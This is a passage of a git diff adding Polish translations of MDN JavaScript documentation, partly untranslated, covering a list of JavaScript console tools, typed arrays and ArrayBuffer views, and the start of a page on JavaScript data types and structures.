otwartym kodzie źródłowym z możliwością łatwego łączenia się do określonych wyrażeń</li> + <li><a class="external" href="http://www.squarefree.com/shell/">JavaScript Shell (strona internetowa)</a> - dostępna również w ramach rozszerzenia<a class="link-https" href="https://addons.mozilla.org/en-US/firefox/addon/7434"> Developer's Extension</a></li> + <li><a class="external" href="http://www.billyreisinger.com/jash/">Jash: JavaScript Shell</a> - powłoka oparta na DHTML, która zapewnia dostęp do strony internetowej z linii poleceń.</li> + <li><a class="external" href="http://hyperstruct.net/projects/mozrepl">MozRepl</a> - połącz się z Firefoksem i innymi aplikacjami Mozilli, przeglądaj i modyfikuj je od środka, gdy są uruchomione.</li> + <li><a class="external link-https" href="https://addons.mozilla.org/en-US/firefox/addon/execute-js/">Execute JS</a> - (nie jest już wspierane) - rozszerzenie Firefox, które dostarcza rozszerzoną konsolę JavaScript, w której możesz wygodnie wprowadzać i uruchamiać dowolny kod JavaScript i modyfikować funkcje.</li> + <li><a class="external link-https" href="https://addons.mozilla.org/addon/159546">xqjs</a> - prosta konsola dla Firefoksa.</li> + <li><a class="external link-https" href="https://addons.mozilla.org/en-US/firefox/addon/firebug/">Firebug</a> - narzędzia dla programistów dla Firefoksa, w tym konsola.</li> +</ul> diff --git a/files/pl/web/javascript/typed_arrays/index.html b/files/pl/web/javascript/typed_arrays/index.html new file mode 100644 index 0000000000..a9ede19c94 --- /dev/null +++ b/files/pl/web/javascript/typed_arrays/index.html @@ -0,0 +1,277 @@ +--- +title: Tablice reprezentujące typy JavaScript +slug: Web/JavaScript/Typed_arrays +translation_of: Web/JavaScript/Typed_arrays +--- +<div> +<div>{{JsSidebar("Advanced")}}</div> +</div> + +<p>Jako, że aplikacje internetowe stają się coraz bardziej potężne, zapewniając takie możliwości jak chociażby manipulacja audio i wideo, dostęp do surowych danych używając WebSocket, i tak dalej, stało się jasne, że są sytuacje, w których przydałoby się, żeby kod JavaScript był w stanie szybko i łatwo manipulować surowymi danymi binarnymi. W przeszłości, musiało być to symulowane przez traktowanie surowych danych jako <a href="/en-US/docs/JavaScript/Reference/Global_Objects/String" title="JavaScript/Reference/Global Objects/String">string</a> i używanie metody <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/String/charCodeAt" title="JavaScript/Reference/Global Objects/String/charCodeAt">charCodeAt()</a>,</code> aby przeczytać bajty z buforu danych.</p> + +<p>Jakkolwiek, jest to wolne i podatne na błędy, ze względu na potrzebę wielu konwersji (szczególnie jeśli dane binarne nie są tak naprawdę danymi w formacie bajtów, ale, na przykład, 32-bitowymi liczbami całkowitymi lub zmiennoprzecinkowymi).</p> + +<p>Tablice zawierające typy JavaScript zapewniają mechanizm dostępu do danych binarnych dużo bardziej wydajnie.</p> + +<table class="topicpage-table"> + <tbody> + <tr> + <td> + <h2 class="Documentation" id="Documentation" name="Documentation">Dokumentacja</h2> + + <dl> + <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a></dt> + <dd>The <code>ArrayBuffer</code> is a data type that is used to represent a generic, fixed-length binary data buffer. You can't directly manipulate the contents of an <code>ArrayBuffer</code>; instead, you create an <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView" title="en/JavaScript typed arrays/ArrayBufferView"><code>ArrayBufferView</code></a> object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.</dd> + <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"><code>ArrayBufferView</code></a></dt> + <dd>The <code>ArrayBufferView</code> type describes a particular view on the contents of an <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="en/JavaScript typed arrays/ArrayBuffer">ArrayBuffer</a>'s data. Of note is that you may create multiple views into the same buffer, each looking at the buffer's contents starting at a particular offset. This makes it possible to set up views of different data types to read the contents of a buffer based on the types of data at specific offsets into the buffer</dd> + <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/DataView" title="/en-US/docs/Web/JavaScript/Typed_arrays/DataView"><code>DataView</code></a></dt> + <dd> + <p>The <code>DataView</code> view provides a low-level interface for reading data from and writing it to an <code><a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="en/JavaScript_typed_arrays/ArrayBuffer">ArrayBuffer</a></code>.</p> + </dd> + <dt><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" style="font-weight: normal;" title="This API is not native.">Non native</span></dt> + <dd>In this article is published a library of ours whose aims are: + <ul> + <li>creating a <strong><a href="http://en.wikipedia.org/wiki/C_%28programming_language%29">C</a>-like interface for strings</strong> (i.e. array of characters codes — an<a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"> <code>ArrayBufferView</code></a> in JavaScript) based upon the JavaScript <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> interface,</li> + <li>creating an <strong>highly scalable</strong> library, that anyone can extend by adding methods to the object <code>StringView.prototype</code>,</li> + <li>creating a collection of methods for such string-like objects (since now: <code>stringView</code>s) which <strong>work strictly on arrays of numbers</strong> rather than on creating new immutable JavaScript strings,</li> + <li><strong>working with other Unicode encodings</strong> different from default JavaScript's UTF-16 {{domxref("DOMString")}}s,</li> + </ul> + </dd> + <dt><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Getting <code>ArrayBuffer</code>s or typed arrays from <em>Base64</em>-encoded strings</a></dt> + <dd>Code snippets to get <code>ArrayBuffer</code>s or typed arrays from <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding" title="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding"><em>Base64</em>-encoded</a> strings.</dd> + <dt><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()" title="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()"><code>FileReader.prototype.readAsArrayBuffer()</code></a></dt> + <dd>The <code>FileReader.prototype.readAsArrayBuffer()</code> method starts reading the contents of the specified <a href="/en-US/docs/Web/API/Blob" title="/en-US/docs/DOM/Blob"><code>Blob</code></a> or <a href="/en-US/docs/Web/API/File" title="/en-US/docs/DOM/File"><code>File</code></a>.</dd> + <dt><a href="/en-US/docs/Web/API/XMLHttpRequest#send()" title="/en-US/docs/Web/API/XMLHttpRequest#send()"><code>XMLHttpRequest.prototype.send()</code></a></dt> + <dd><code>XMLHttpRequest</code> instances' <code>send()</code> method now supports typed arrays and <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer" title="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a>s as argument.</dd> + </dl> + + <p><span class="alllinks"><a href="/en-US/docs/tag/JavaScript%20typed%20arrays" title="tag/JavaScript%20typed%20arrays">View All...</a></span></p> + </td> + <td> + <h2 class="Community" id="Community" name="Community">Społeczność</h2> + + <ul> + <li>Zobacz forum Mozilla... {{ DiscussionList("dev-web-development", "mozilla.dev.web.development") }}</li> + </ul> + + <h2 class="Tools" id="Tools" name="Tools">Narzędzia</h2> + + <ul> + <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Getting <code>ArrayBuffer</code>s or typed arrays from <em>Base64</em>-encoded strings</a></li> + <li><a href="/en-US/docs/Code_snippets/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code> – a C-like representation of strings based on typed arrays</a></li> + </ul> + + <p><span class="alllinks"><a href="/en-US/docs/tag/JavaScript%20typed%20arrays:Tools" title="tag/JavaScript%20typed%20arrays:Tools">View All...</a></span></p> + + <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Powiązane tematy</h2> + + <ul> + <li><a href="/en-US/docs/Web/API/File" title="/en-US/docs/DOM/File"><code>File</code></a></li> + <li><code><a href="/en-US/docs/Web/API/Blob" title="/en-US/docs/DOM/Blob">Blob</a></code></li> + </ul> + </td> + </tr> + </tbody> +</table> + +<h2 id="Bufory_i_widoki_struktura_tablic_reprezentujących_typy">Bufory i widoki: struktura tablic reprezentujących typy</h2> + +<p>To achieve maximum flexibility and efficiency, JavaScript typed arrays split the implementation into a <strong>buffer</strong> and a <strong>view</strong>. A buffer (implemented by the <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBuffer" title="JavaScript typed arrays/ArrayBuffer"><code>ArrayBuffer</code></a> class) is an object representing a chunk of data; it has no format to speak of, and offers no mechanism for accessing its contents. In order to access the memory contained in a buffer, you need to use a view. A view provides a context—that is, a data type, starting offset, and number of elements—that turns the data into an actual typed array. Views are implemented by the <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBufferView" title="JavaScript typed arrays/ArrayBufferView"><code>ArrayBufferView</code></a> class and its subclasses.</p> + +<h2 id="Podklasy_tablic_reprezentujących_typy">Podklasy tablic reprezentujących typy</h2> + +<p>The following subclasses provide buffer views allowing access to the data in specific data types. Note that the classes that work with more than one byte (e.g. Int16Array) use the platform byte order. If control over byte order is needed, use DataView instead.</p> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Typ</td> + <td class="header">Rozmiar</td> + <td class="header">Opis</td> + <td class="header">Odpowiednik C</td> + </tr> + <tr> + <td><a href="/en/JavaScript_typed_arrays/Int8Array" title="en/JavaScript typed arrays/Int8Array"><code>Int8Array</code></a></td> + <td>1</td> + <td>8-bitowa liczba całkowita ze znakiem w zapisie dopełnienia do dwóch</td> + <td><code>signed char</code></td> + </tr> + <tr> + <td><code><a href="/en/JavaScript_typed_arrays/Uint8Array" title="en/JavaScript typed arrays/Uint8Array">Uint8Array</a></code></td> + <td>1</td> + <td>8-bitowa liczba całkowita bez znaku</td> + <td><code>unsigned char</code></td> + </tr> + <tr> + <td><a href="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray" title="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray"><code>Uint8ClampedArray</code></a></td> + <td>1</td> + <td>8-bitowa liczba całkowita bez znaku</td> + <td><code>unsigned char</code></td> + </tr> + <tr> + <td><code><a href="/en/JavaScript_typed_arrays/Int16Array" title="en/JavaScript typed arrays/Int16Array">Int16Array</a></code></td> + <td>2</td> + <td>16-bitowa liczba całkowita ze znakiem w zapisie dopełnienia do dwóch</td> + <td><code>short</code></td> + </tr> + <tr> + <td><code><a href="/en/JavaScript_typed_arrays/Uint16Array" title="en/JavaScript typed arrays/Uint16Array">Uint16Array</a></code></td> + <td>2</td> + <td>16-bitowa liczba całkowita bez znaku</td> + <td><code>unsigned short</code></td> + </tr> + <tr> + <td><code><a href="/en/JavaScript_typed_arrays/Int32Array" title="en/JavaScript typed arrays/Int32Array">Int32Array</a></code></td> + <td>4</td> + <td>32-bitowa liczba całkowita ze znakiem w zapisie dopełnienia do dwóch</td> + <td><code>int</code></td> + </tr> + <tr> + <td><code><a href="/en/JavaScript_typed_arrays/Uint32Array" title="en/JavaScript typed arrays/Uint32Array">Uint32Array</a></code></td> + <td>4</td> + <td>32-bitowa liczba całkowita bez znaku</td> + <td><code>unsigned int</code></td> + </tr> + <tr> + <td><code><a href="/en/JavaScript_typed_arrays/Float32Array" title="en/JavaScript typed arrays/Float32Array">Float32Array</a></code></td> + <td>4</td> + <td>32-bitowa liczba zmiennoprzecinkowa IEEE</td> + <td><code>float</code></td> + </tr> + <tr> + <td><code><a href="/en/JavaScript_typed_arrays/Float64Array" title="en/JavaScript typed arrays/Float64Array">Float64Array</a></code></td> + <td>8</td> + <td>64-bitowa liczba zmiennoprzecinkowa IEEE</td> + <td><code>double</code></td> + </tr> + </tbody> +</table> + +<h2 id="Superklasy_tablic_reprezentujących_typy">Superklasy tablic reprezentujących typy</h2> + +<table class="standard-table"> + <tbody> + <tr> + <td class="header">Typ</td> + <td class="header">Opis</td> + </tr> + <tr> + <td><a href="/en-US/docs/Web/JavaScript/Typed_arrays/DataView" title="/en-US/docs/Web/JavaScript/Typed_arrays/DataView"><code>DataView</code></a></td> + <td>The <code>DataView</code> view provides a low-level interface for reading data from and writing it to an <code><a href="https://developer.mozilla.org/en/JavaScript_typed_arrays/ArrayBuffer" title="en/JavaScript_typed_arrays/ArrayBuffer">ArrayBuffer</a></code>.</td> + </tr> + <tr> + <td><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a> <span class="inlineIndicator" title="This API is not native.">Non native</span></td> + <td>The <code>StringView</code> view provides a <strong><a class="external" href="http://en.wikipedia.org/wiki/C_%28programming_language%29">C</a>-like interface for strings</strong> (i.e. array of characters codes — an<a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBufferView"> <code>ArrayBufferView</code></a> in JavaScript) based upon the JavaScript <a href="/en-US/docs/Web/JavaScript/Typed_arrays/ArrayBuffer"><code>ArrayBuffer</code></a> interface,</td> + </tr> + </tbody> +</table> + +<h2 id="Używanie_widoków_z_buforami">Używanie widoków z buforami</h2> + +<p>Stwórzmy 16-bajtowy bufor:</p> + +<pre class="brush:js">var buffer = new ArrayBuffer(16); +</pre> + +<p>At this point, we have a chunk of memory whose bytes are all pre-initialized to 0. There's not a lot we can do with it, though. We can confirm that it is indeed 16 bytes long, and that's about it:</p> + +<pre class="brush:js">if (buffer.byteLength == 16) { + alert("Yes, it's 16 bytes."); +} else { + alert("Oh no, it's the wrong size!"); +} +</pre> + +<p>Before we can really work with this buffer, we need to create a view. Let's create a view that treats the data in the buffer as an array of 32-bit signed integers:</p> + +<pre class="brush:js">var int32View = new Int32Array(buffer); +</pre> + +<p>Now we can access the fields in the array just like a normal array:</p> + +<pre class="brush:js">for (var i=0; i<int32View.length; i++) { + int32View[i] = i*2; +} +</pre> + +<p>This fills out the 4 entries in the array (4 entries at 4 bytes each makes 16 total bytes) with the values 0, 2, 4, and 6.</p> + +<h3 id="Wiele_widoków_tych_samych_danych">Wiele widoków tych samych danych</h3> + +<p>Things start to get really interesting when you consider that you can create multiple views onto the same data. For example, given the code above, we can continue like this:</p> + +<pre class="brush:js">var int16View = new Int16Array(buffer); + +for (var i=0; i<int16View.length; i++) { + console.log("Entry " + i + ": " + int16View[i]); +} +</pre> + +<p>Here we create a 16-bit integer view that shares the same buffer as the existing 32-bit view and we output all the values in the buffer as 16-bit integers. Now we get the output 0, 0, 2, 0, 4, 0, 6, 0.</p> + +<p>You can go a step farther, though. Consider this:</p> + +<pre class="brush:js">int16View[0] = 32; +console.log("Entry 0 in the 32-bit array is now " + int32View[0]); +</pre> + +<p>The output from this is "Entry 0 in the 32-bit array is now 32". In other words, the two arrays are indeed simply views on the same data buffer, treating it as different formats. You can do this with any <a href="/en-US/docs/JavaScript_typed_arrays/ArrayBufferView#Typed_array_subclasses" title="JavaScript typed arrays/ArrayBufferView#Typed array subclasses">view types</a>.</p> + +<h2 id="Praca_ze_złożonymi_strukturami_danych">Praca ze złożonymi strukturami danych</h2> + +<p>By combining a single buffer with multiple views of different types, starting at different offsets into the buffer, you can interact with data objects containing multiple data types. This lets you, for example, interact with complex data structures from <a href="/en-US/docs/WebGL" title="WebGL">WebGL</a>, data files, or C structures you need to use while using <a href="/en-US/docs/js-ctypes" title="js-ctypes">js-ctypes</a>.</p> + +<p>Rozważ tą strukturę C:</p> + +<pre class="brush:cpp">struct someStruct { + unsigned long id; + char username[16]; + float amountDue; +};</pre> + +<p>Możesz uzyskać dostęp do bufora zawierającego dane w tych formacie w ten sposób:</p> + +<pre class="brush:js">var buffer = new ArrayBuffer(24); + +// ... zczytaj dane do bufora ... + +var idView = new Uint32Array(buffer, 0, 1); +var usernameView = new Uint8Array(buffer, 4, 16); +var amountDueView = new Float32Array(buffer, 20, 1);</pre> + +<p>Potem możesz uzyskać dostęp, na przykład, do kwoty należnej używając <code>amountDueView[0]</code>.</p> + +<div class="note"><strong>Note:</strong> The <a href="http://en.wikipedia.org/wiki/Data_structure_alignment" title="http://en.wikipedia.org/wiki/Data_structure_alignment">data structure alignment</a> in a C structure is platform-dependent. Take precautions and considerations for these padding differences.</div> + +<h2 id="Konwersja_do_zwykłych_tablic">Konwersja do zwykłych tablic</h2> + +<p>After processing a typed array, it is sometimes useful to convert it back to a normal array in order to benefit from the <code>Array</code> prototype. Following is a way to do that.</p> + +<pre>var typedArray = new Uint8Array( [ 1, 2, 3, 4 ] ), + normalArray = Array.apply( [], typedArray ); +normalArray.length === 4; +normalArray.constructor === Array; +</pre> + +<h2 id="Kompatybilność">Kompatybilność</h2> + +<p>Typed arrays are available in WebKit as well. Chrome 7 includes support for <code>ArrayBuffer</code>, <code>Float32Array</code>, <code>Int16Array</code>, and <code>Uint8Array</code>. Chrome 9 and Firefox 15 add support for <code>DataView</code> objects. Internet Explorer 10 supports all types except <code>Uint8ClampedArray</code> and <code>ArrayBuffer.prototype.slice</code>.</p> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<ul> + <li><a class="link-https" href="http://www.khronos.org/registry/typedarray/specs/latest/">Typed Array Specification</a></li> +</ul> + +<h2 id="See_also" name="See_also">Zobacz także</h2> + +<ul> + <li><a href="/en-US/docs/JavaScript/Typed_arrays/Int8Array" title="Int8Array"><code>Int8Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Int16Array" title="Int8Array"><code>Int16Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Int32Array" title="Int8Array"><code>Int32Array</code></a></li> + <li><a href="/en-US/docs/JavaScript/Typed_arrays/Uint8Array" title="Uint8Array"><code>Uint8Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Uint16Array" title="Uint8Array"><code>Uint16Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Uint32Array" title="Uint8Array"><code>Uint32Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray" title="/en-US/docs/JavaScript/Typed_arrays/Uint8ClampedArray"><code>Uint8ClampedArray</code></a></li> + <li><a href="/en-US/docs/JavaScript/Typed_arrays/Float32Array" title="Float32Array"><code>Float32Array</code></a>, <a href="/en-US/docs/JavaScript/Typed_arrays/Float64Array" title="Float64Array"><code>Float64Array</code></a></li> + <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/DataView" title="/en-US/docs/Web/JavaScript/Typed_arrays/DataView"><code>DataView</code></a></li> + <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays/StringView" title="/en-US/docs/Web/JavaScript/Typed_arrays/StringView"><code>StringView</code></a></li> + <li><a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer" title="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">Getting <code>ArrayBuffer</code>s or typed arrays from <em>Base64</em>-encoded strings</a></li> +</ul> + +<div id="cke_pastebin" style="position: absolute; top: 617.817px; width: 1px; height: 1px; overflow: hidden; left: -1000px;"> </div> diff --git a/files/pl/web/javascript/typy_oraz_struktury_danych/index.html b/files/pl/web/javascript/typy_oraz_struktury_danych/index.html new file mode 100644 index 0000000000..d6a2808105 --- /dev/null +++ b/files/pl/web/javascript/typy_oraz_struktury_danych/index.html @@ -0,0 +1,443 @@ +--- +title: Typy oraz struktury danych w JavaScript +slug: Web/JavaScript/typy_oraz_struktury_danych +tags: + - JavaScript + - Początkujący + - Typy danych +translation_of: Web/JavaScript/Data_structures +--- +<div>{{jsSidebar("More")}}</div> + +<div>Wszystkie języki programowania posiadają wbudowane struktury danych, mogą one jednak różnic się między poszczególnymi językami. Poniższy artykuł jest próbą stworzenia listy wbudowanych typów oraz struktur danych w JavaScript oraz ich właściwości. Mogą być one użyte do tworzenia innych struktur danych. Tam gdzie jest to możliwe dokonano porównania z innymi językami programowania.</div> + +<h2 id="Dynamiczne_typowanie">Dynamiczne typowanie</h2> + +<p>JavaScript jest językiem typowanym dynamicznie. Zmienne w Javascript nie są bezpośrednio powiązane z konkretnym typem wartości i możemy im przypisywać wartości dowolnego typu:</p> + +<pre class="brush: js notranslate">let foo = 42; // foo jest teraz liczbą (number) +foo = 'bar'; // foo jest teraz ciągiem znaków (string) +foo = true; // foo jest teraz type logicznym (boolean) +</pre> + +<h2 id="Data_and_Structure_types">Data and Structure types</h2> + +<p>Najnowsza wersja standardu ECMAScript definiuje dziewięć typów danych:</p> + +<ul> + <li>Six <strong>Data Types</strong> that are <a href="/en-US/docs/Glossary/Primitive">primitives</a>, checked by <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> operator: + + <ul> + <li><a href="/en-US/docs/Glossary/Undefined">undefined</a> : <code>typeof instance === "undefined"</code></li> + <li><a href="/en-US/docs/Glossary/Boolean">Boolean</a> : <code>typeof instance === "boolean"</code></li> + <li><a href="/en-US/docs/Glossary/Number">Number</a> : <code>typeof instance === "number"</code></li> + <li><a href="/en-US/docs/Glossary/String">String</a> : <code>typeof instance === "string"</code></li> + <li><a href="/en-US/docs/Glossary/BigInt">BigInt</a><span> : </span><code>typeof instance === "bigint"</code></li> + <li><a href="/en-US/docs/Glossary/Symbol">Symbol</a><span> : </span><code>typeof instance === "symbol"</code></li> + </ul> + </li> + <li><a href="/en-US/docs/Glossary/Null">null</a><span> : </span><code>typeof instance === "object"</code>. Special <a href="/en-US/docs/Glossary/Primitive">primitive</a> type having additional usage for it's value: if object is not inherited, then <code>null</code> is shown;</li> + <li><a href="/en-US/docs/Glossary/Object">Object</a><span> : </span><code>typeof instance === "object"</code>. Special non-data but structural type for any <a href="/en-US/docs/Learn/JavaScript/Objects#The_Constructor">constructed</a> object instance also used as data structures: new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object">Object</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array">Array</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Map">Map</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Set">Set</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap">WeakMap</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet">WeakSet</a>, new <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date">Date</a> and almost everything made with <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new keyword</a>;</li> + <li><a href="/en-US/docs/Glossary/Function">Function</a><span> non data structure, though it also answers for typeof operator: </span><code>typeof instance === "function"</code>. This answer is done as a special shorthand for Functions, though every Function constructor is derived from Object constructor.</li> +</ul> + +<p>Keep in mind the only valuable purpose of <code>typeof</code> operator usage is checking the Data Type. If we wish to check any Structural Type derived from Object it is pointless to use <code>typeof</code> for that, as we will always receive <code>"object"</code>. The indeed proper way to check what sort of Object we are using an <a href="/en-US/docs/Web/JavaScript/Reference/Operators/instanceof">instanceof</a> keyword. But even in that case there might be misconceptions.</p> + +<h2 id="Wartości_prymitywne">Wartości prymitywne</h2> + +<p>All types except objects define immutable values (that is, values which can't be changed). For example (and unlike in C), Strings are immutable. We refer to values of these types as "<em>primitive values</em>".</p> + +<h3 id="Boolean_type">Boolean type</h3> + +<p>Boolean represents a logical entity and can have two values: <code>true</code> and <code>false</code>. See <a href="/en-US/docs/Glossary/Boolean">Boolean</a> and {{jsxref("Boolean")}} for more details.</p> + +<h3 id="Null_type">Null type</h3> + +<p>The Null type has exactly one value: <code>null</code>. See {{jsxref("null")}} and <a href="/en-US/docs/Glossary/Null">Null</a> for more details.</p> + +<h3 id="Undefined_type">Undefined type</h3> + +<p>A variable that has not been assigned a value has the value <code>undefined</code>. See {{jsxref("undefined")}} and <a href="/en-US/docs/Glossary/Undefined">Undefined</a> for more details.</p> + +<h3 id="Number_type">Number type</h3> + +<p>ECMAScript has two built-in numeric types: <strong>Number</strong> and <strong>BigInt</strong> (see below).</p> + +<p>The Number type is a <a href="http://en.wikipedia.org/wiki/Double_precision_floating-point_format">double-precision 64-bit binary format IEEE 754 value</a> (numbers between -(2<sup>53</sup> − 1) and 2<sup>53</sup> − 1). In addition to representing floating-point numbers, the number type has three symbolic values: <code>+Infinity</code>, <code>-Infinity</code>, and {{jsxref("NaN")}} ("<strong>N</strong>ot a <strong>N</strong>umber").</p> + +<p>To check for the largest available value or smallest available value within {{jsxref("Infinity", "±Infinity")}}, you can use the constants {{jsxref("Number.MAX_VALUE")}} or {{jsxref("Number.MIN_VALUE")}}.</p> + +<p>Starting with ECMAScript 2015, you are also able to check if a number is in the double-precision floating-point number range using {{jsxref("Number.isSafeInteger()")}} as well as {{jsxref("Number.MAX_SAFE_INTEGER")}} and {{jsxref("Number.MIN_SAFE_INTEGER")}}. Beyond this range, integers in JavaScript are not safe anymore and will be a double-precision floating point approximation of the value.</p> + +<p>The number type has only one integer with two representations: <code>0</code> is represented as both <code>-0</code> and <code>+0</code>. (<code>0</code> is an alias for <code>+0</code>.) </p> + +<p>In the praxis, this has almost no impact. For example, <code>+0 === -0</code> is <code>true</code>. However, you are able to notice this when you divide by zero:</p> + +<pre class="brush: js notranslate">> 42 / +0 +Infinity +> 42 / -0 +-Infinity +</pre> + +<p>Although a number often represents only its value, JavaScript provides {{jsxref("Operators/Bitwise_Operators", "binary (bitwise) operators")}}.</p> + +<p>These bitwise operators can be used to represent several Boolean values within a single number using <a class="external" href="http://en.wikipedia.org/wiki/Mask_%28computing%29">bit masking</a>. However, this is usually considered a bad practice, since JavaScript offers other means to represent a set of Booleans (like an array of Booleans, or an object with Boolean values assigned to named properties). Bit masking also tends to make the code more difficult to read, understand, and maintain.</p> + +<p>It may be necessary to use such techniques in very constrained environments, like when trying to cope with the limitations of local storage, or in extreme cases (such as when each bit over the network counts). This technique should only be considered when it is the last measure that can be taken to optimize size.</p> + +<h3 id="BigInt_type">BigInt type</h3> + +<p>The {{jsxref("BigInt")}} type is a numeric primitive in JavaScript that can represent integers with arbitrary precision. With <code>BigInt</code>s, you can safely store and operate on large integers even beyond the safe integer limit for <code>Number</code>s.</p> + +<p>A <code>BigInt</code> is created by appending <code>n</code> to the end of an integer or by calling the constructor.</p> + +<p>You can obtain the safest value that can be incremented with <code>Number</code>s by using the constant {{jsxref("Number.MAX_SAFE_INTEGER")}}. With the introduction of <code>BigInt</code>s, you can operate with numbers beyond the {{jsxref("Number.MAX_SAFE_INTEGER")}}.</p> + +<p>This example demonstrates, where incrementing the {{jsxref("Number.MAX_SAFE_INTEGER")}} returns the expected result:</p> + +<pre class="brush: js notranslate">> const x = 2n ** 53n; +9007199254740992n +> const y = x + 1n; +9007199254740993n +</pre> + +<p>You can use the operators <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, and <code>%</code> with <code>BigInt</code>s—just like with <code>Number</code>s. A <code>BigInt</code> is not strictly equal to a <code>Number</code>, but it is loosely so.</p> + +<p>A <code>BigInt</code> behaves like a <code>Number</code> in cases where it is converted to <code>Boolean</code>: <code>if</code>, <code>||</code>, <code>&&</code>, <code>Boolean</code>, <code>!</code>.</p> + +<p><code>BigInt</code>s cannot be operated on interchangeably with <code>Number</code>s. Instead a {{jsxref("TypeError")}} will be thrown.</p> + +<h3 id="String_type">String type</h3> + +<p>JavaScript's {{jsxref("String")}} type is used to represent textual data. It is a set of "elements" of 16-bit unsigned integer values. Each element in the String occupies a position in the String. The first element is at index <code>0</code>, the next at index <code>1</code>, and so on. The length of a String is the number of elements in it.</p> + +<p>Unlike some programming languages (such as C), JavaScript strings are immutable. This means that once a string is created, it is not possible to modify it.</p> + +<p>However, it is still possible to create another string based on an operation on the original string. For example:</p> + +<ul> + <li>A substring of the original by picking individual letters or using {{jsxref("String.substr()")}}.</li> + <li>A concatenation of two strings using the concatenation operator (<code>+</code>) or {{jsxref("String.concat()")}}.</li> +</ul> + +<h4 id="Beware_of_stringly-typing_your_code!">Beware of "stringly-typing" your code!</h4> + +<p>It can be tempting to use strings to represent complex data. Doing this comes with short-term benefits:</p> + +<ul> + <li>It is easy to build complex strings with concatenation.</li> + <li>Strings are easy to debug (what you see printed is always what is in the string).</li> + <li>Strings are the common denominator of a lot of APIs (<a href="/en-US/docs/Web/API/HTMLInputElement" title="HTMLInputElement">input fields</a>, <a href="/en-US/docs/Storage" title="Storage">local storage</a> values, <a href="/en-US/docs/Web/API/XMLHttpRequest" title="Use XMLHttpRequest (XHR) objects to interact with servers. You can retrieve data from a URL without having to do a full page refresh. This enables a Web page to update just part of a page without disrupting what the user is doing."><code>XMLHttpRequest</code></a> responses when using <code>responseText</code>, etc.) and it can be tempting to only work with strings.</li> +</ul> + +<p>With conventions, it is possible to represent any data structure in a string. This does not make it a good idea. For instance, with a separator, one could emulate a list (while a JavaScript array would be more suitable). Unfortunately, when the separator is used in one of the "list" elements, then, the list is broken. An escape character can be chosen, etc. All of this requires conventions and creates an unnecessary maintenance burden.</p> + +<p>Use strings for textual data. When representing complex data, parse strings and use the appropriate abstraction.</p> + +<h3 id="Symbol_type">Symbol type</h3> + +<p>Symbols are new to JavaScript in ECMAScript 2015. A Symbol is a <strong>unique</strong> and <strong>immutable</strong> primitive value and may 